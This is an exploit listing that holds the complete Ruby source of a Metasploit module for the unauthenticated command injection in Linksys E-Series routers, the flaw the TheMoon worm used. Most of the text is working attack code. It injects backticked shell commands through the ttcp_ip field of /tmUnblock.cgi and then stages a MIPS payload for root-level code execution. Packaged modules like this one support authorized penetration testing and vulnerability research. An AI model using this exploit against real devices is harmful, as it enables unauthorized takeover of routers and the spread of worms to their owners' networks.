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Linksys E-Series TheMoon Remote Command Injection

Linksys E-Series TheMoon Remote Command Injection
Posted Apr 5, 2014
Authored by Michael Messner, Rew, juan vazquez, infodox, Johannes Ullrich | Site metasploit.com

Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command injection. This vulnerability was used from the so called "TheMoon" worm. There are many Linksys systems that might be vulnerable including E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900. This Metasploit module was tested successfully against an E1500 v1.0.5.

tags | exploit, worm
MD5 | efd9a1fb2aa6013c587f6a0d62ca6b44

Linksys E-Series TheMoon Remote Command Injection

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho

def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys E-Series TheMoon Remote Command Injection',
'Description' => %q{
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
injection. This vulnerability was used from the so called "TheMoon" worm. There
are many Linksys systems that might be vulnerable including E4200, E3200, E3000,
E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900. This module was tested
successfully against an E1500 v1.0.5.
},
'Author' =>
[
'Johannes Ullrich', #worm discovery
'Rew', # original exploit
'infodox', # another exploit
'Michael Messner <devnull@s3cur1ty.de>', # Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '31683' ],
[ 'BID', '65585' ],
[ 'OSVDB', '103321' ],
[ 'URL', 'http://packetstormsecurity.com/files/125253/linksyseseries-exec.txt' ],
[ 'URL', 'http://packetstormsecurity.com/files/125252/Linksys-Worm-Remote-Root.html' ],
[ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ],
[ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ]
],
'DisclosureDate' => 'Feb 13 2014',
'Privileged' => true,
'Platform' => %w{ linux unix },
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
[ 'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0
))
end


def execute_command(cmd, opts)
begin
res = send_request_cgi({
'uri' => '/tmUnblock.cgi',
'method' => 'POST',
'encode_params' => true,
'vars_post' => {
"submit_button" => "",
"change_action" => "",
"action" => "",
"commit" => "0",
"ttcp_num" => "2",
"ttcp_size" => "2",
"ttcp_ip" => "-h `#{cmd}`",
"StartEPI" => "1"
}
}, 2)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end

def check
begin
res = send_request_cgi({
'uri' => '/tmUnblock.cgi',
'method' => 'GET'
})

if res && [200, 301, 302].include?(res.code)
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Trying to access the vulnerable URL...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end

print_status("#{peer} - Exploiting...")
execute_cmdstager
end

end

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